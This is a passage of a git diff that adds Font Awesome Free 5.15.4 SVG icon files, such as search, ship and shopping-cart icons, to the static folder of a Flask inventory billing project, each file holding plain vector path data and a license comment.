xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-location.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-location.svg new file mode 100644 index 00000000..b67dda1b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-location.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-minus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-minus.svg new file mode 100644 index 00000000..51c3790d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-minus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-plus.svg new file mode 100644 index 00000000..53540b96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search.svg new file mode 100644 index 00000000..1309464b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/seedling.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/seedling.svg new file mode 100644 index 00000000..5cdd2d16 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/seedling.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/server.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/server.svg new file mode 100644 index 00000000..869a391e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/server.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shapes.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shapes.svg new file mode 100644 index 00000000..302e030a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shapes.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-alt-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-alt-square.svg new file mode 100644 index 00000000..f6f75503 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-alt-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-alt.svg new file mode 100644 index 00000000..221a9b54 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-square.svg new file mode 100644 index 00000000..7480618d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share.svg new file mode 100644 index 00000000..489738c9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/share.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shekel-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shekel-sign.svg new file mode 100644 index 00000000..23daceb0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shekel-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shield-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shield-alt.svg new file mode 100644 index 00000000..cede1042 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shield-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shield-virus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shield-virus.svg new file mode 100644 index 00000000..1d2a7f3c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shield-virus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ship.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ship.svg new file mode 100644 index 00000000..3ca342ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ship.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shipping-fast.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shipping-fast.svg new file mode 100644 index 00000000..cbbefde6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shipping-fast.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shoe-prints.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shoe-prints.svg new file mode 100644 index 00000000..d806ee51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shoe-prints.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-bag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-bag.svg new file mode 100644 index 00000000..742451ce --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-bag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-basket.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-basket.svg new file mode 100644 index 00000000..cefb97cb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-basket.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-cart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-cart.svg new file mode 100644 index 00000000..c3bf65d5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shopping-cart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shower.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shower.svg new file mode 100644 index 00000000..c15e0d81 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shower.svg @@ -0,0 +1 @@ +<svg 